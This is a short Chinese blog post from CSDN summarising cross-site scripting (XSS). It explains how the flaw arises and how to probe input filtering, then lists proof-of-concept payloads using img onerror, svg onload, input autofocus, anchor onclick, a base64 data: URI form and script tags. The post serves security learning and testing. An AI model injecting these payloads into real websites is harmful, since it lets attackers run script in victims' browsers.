XSS总结

最新推荐文章于 2023-11-04 11:58:43 发布

不觉，我在荡魂山很想你

最新推荐文章于 2023-11-04 11:58:43 发布

阅读量458

点赞数 3

本文链接：https://blog.csdn.net/m0_59134926/article/details/127491897

版权

XSS 漏洞挖掘过滤绕过编码绕过存储型XSS

关键词由CSDN通过智能技术生成

一.形成原因及挖掘思路

跨站脚本漏洞（xss）形成是因为存在可以控制的接口，由于客户端的一切输入都是不可信的！而在某些站点如果存在可控制的接口，并且对于用户的输入不进行过滤或者过滤不严谨，导致该接口在一定程度上，仍然可以视为可控制的接口，就导致该漏洞产生。所以一般挖掘的思路，应该要找到与服务器存在交互的点，可以先通过一些正常的测试，判断是否有对应输入的回显，如果存在，应该去测试过滤，查看是否有未过滤严谨的地方。（白名单也可以测试，尽可能的找全所有的白名单）

部分可用标签及属性

//<img>
<img src="" onerror=alert(1)>
<img src="" onerror=eval("alert('xss')")>


//<form>\<iframe>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

//<a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>


//<input>
<input onfocus="alert('xss');" autofocus>
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">

//<svg>
<svg onload=alert(1)>

//<scrip>
<script>alert(1)</script>